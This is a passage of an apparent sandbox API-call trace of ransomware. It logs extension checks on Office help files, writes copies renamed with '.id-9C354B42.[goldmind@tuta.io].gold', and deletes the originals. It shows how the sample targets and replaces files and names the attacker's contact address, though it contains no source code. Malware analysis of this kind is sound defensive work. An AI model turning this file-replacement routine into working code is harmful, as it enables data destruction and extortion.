(lpString=".xlsx") returned 5 [0105.703] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.703] lstrlenW (lpString=".ppt") returned 4 [0105.703] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString=".zip") returned 4 [0105.703] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.703] lstrlenW (lpString=".rar") returned 4 [0105.703] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.703] lstrlenW (lpString=".bz2") returned 4 [0105.703] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.703] lstrlenW (lpString=".7z") returned 3 [0105.703] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString=".dbf") returned 4 [0105.703] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString=".1cd") returned 4 [0105.703] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString=".jpg") returned 4 [0105.703] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.703] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.703] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0105.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.704] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0105.704] CloseHandle (hObject=0x3b0) returned 1 [0105.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 0x20 [0105.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.704] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.704] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.705] GetLastError () returned 0x0 [0105.705] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0105.706] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.706] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.706] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x100, lpOverlapped=0x0) returned 1 [0105.706] SetEndOfFile (hFile=0x38c) returned 1 [0105.706] CloseHandle (hObject=0x38c) returned 1 [0105.706] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.706] SetEndOfFile (hFile=0x3b0) returned 1 [0105.708] CloseHandle (hObject=0x3b0) returned 1 [0105.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 1 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.709] lstrlenW (lpString=".doc") returned 4 [0105.709] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.709] lstrlenW (lpString=".docx") returned 5 [0105.709] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.709] lstrlenW (lpString=".pdf") returned 4 [0105.709] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.709] lstrlenW (lpString=".xls") returned 4 [0105.709] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.709] lstrlenW (lpString=".xlsx") returned 5 [0105.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.709] lstrlenW (lpString=".ppt") returned 4 [0105.709] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.709] lstrlenW (lpString=".zip") returned 4 [0105.709] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.709] lstrlenW (lpString=".rar") returned 4 [0105.709] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.709] lstrlenW (lpString=".bz2") returned 4 [0105.709] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.709] lstrlenW (lpString=".7z") returned 3 [0105.710] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".dbf") returned 4 [0105.710] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".1cd") returned 4 [0105.710] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".jpg") returned 4 [0105.710] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".doc") returned 4 [0105.710] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString=".docx") returned 5 [0105.710] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.710] lstrlenW (lpString=".pdf") returned 4 [0105.710] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString=".xls") returned 4 [0105.710] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString=".xlsx") returned 5 [0105.710] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.710] lstrlenW (lpString=".ppt") returned 4 [0105.710] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".zip") returned 4 [0105.710] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString=".rar") returned 4 [0105.710] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.710] lstrlenW (lpString=".bz2") returned 4 [0105.710] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString=".7z") returned 3 [0105.710] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".dbf") returned 4 [0105.710] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".1cd") returned 4 [0105.710] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0105.710] lstrlenW (lpString=".jpg") returned 4 [0105.710] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.710] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0105.710] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0105.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.711] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6816061) returned 1 [0105.711] CloseHandle (hObject=0x3b0) returned 1 [0105.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0x20 [0105.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.711] lstrlenW (lpString=".doc") returned 4 [0105.711] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.711] lstrlenW (lpString=".docx") returned 5 [0105.711] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0105.711] lstrlenW (lpString=".pdf") returned 4 [0105.711] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.711] lstrlenW (lpString=".xls") returned 4 [0105.711] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.711] lstrlenW (lpString=".xlsx") returned 5 [0105.711] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0105.712] lstrlenW (lpString=".ppt") returned 4 [0105.712] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".zip") returned 4 [0105.712] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".rar") returned 4 [0105.712] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".bz2") returned 4 [0105.712] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString=".7z") returned 3 [0105.712] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".dbf") returned 4 [0105.712] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".1cd") returned 4 [0105.712] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".jpg") returned 4 [0105.712] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".doc") returned 4 [0105.712] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString=".docx") returned 5 [0105.712] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0105.712] lstrlenW (lpString=".pdf") returned 4 [0105.712] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".xls") returned 4 [0105.712] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".xlsx") returned 5 [0105.712] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0105.712] lstrlenW (lpString=".ppt") returned 4 [0105.712] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".zip") returned 4 [0105.712] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".rar") returned 4 [0105.712] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.712] lstrlenW (lpString=".bz2") returned 4 [0105.712] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString=".7z") returned 3 [0105.712] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".dbf") returned 4 [0105.712] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".1cd") returned 4 [0105.712] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0105.712] lstrlenW (lpString=".jpg") returned 4 [0105.712] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.713] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0105.713] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0105.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.713] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=636) returned 1 [0105.713] CloseHandle (hObject=0x3b0) returned 1 [0105.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 0x20 [0105.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.714] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.714] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.714] GetLastError () returned 0x0 [0105.714] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x27c, lpOverlapped=0x0) returned 1 [0105.716] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x280, lpOverlapped=0x0) returned 1 [0105.717] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.717] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0105.717] SetEndOfFile (hFile=0x38c) returned 1 [0105.717] CloseHandle (hObject=0x38c) returned 1 [0105.717] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.717] SetEndOfFile (hFile=0x3b0) returned 1 [0105.719] CloseHandle (hObject=0x3b0) returned 1 [0105.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".doc") returned 4 [0105.720] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.720] lstrlenW (lpString=".docx") returned 5 [0105.720] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.720] lstrlenW (lpString=".pdf") returned 4 [0105.720] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".xls") returned 4 [0105.720] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".xlsx") returned 5 [0105.720] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.720] lstrlenW (lpString=".ppt") returned 4 [0105.720] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".zip") returned 4 [0105.720] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".rar") returned 4 [0105.720] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".bz2") returned 4 [0105.720] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.720] lstrlenW (lpString=".7z") returned 3 [0105.720] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".dbf") returned 4 [0105.720] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".1cd") returned 4 [0105.720] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".jpg") returned 4 [0105.720] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.720] lstrlenW (lpString=".doc") returned 4 [0105.720] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.720] lstrlenW (lpString=".docx") returned 5 [0105.720] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.720] lstrlenW (lpString=".pdf") returned 4 [0105.720] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".xls") returned 4 [0105.720] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.720] lstrlenW (lpString=".xlsx") returned 5 [0105.721] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.721] lstrlenW (lpString=".ppt") returned 4 [0105.721] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.721] lstrlenW (lpString=".zip") returned 4 [0105.721] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.721] lstrlenW (lpString=".rar") returned 4 [0105.721] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.721] lstrlenW (lpString=".bz2") returned 4 [0105.721] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.721] lstrlenW (lpString=".7z") returned 3 [0105.721] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.721] lstrlenW (lpString=".dbf") returned 4 [0105.721] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.721] lstrlenW (lpString=".1cd") returned 4 [0105.721] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0105.721] lstrlenW (lpString=".jpg") returned 4 [0105.721] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.721] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0105.721] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0105.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.722] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=208) returned 1 [0105.722] CloseHandle (hObject=0x3b0) returned 1 [0105.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 0x20 [0105.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 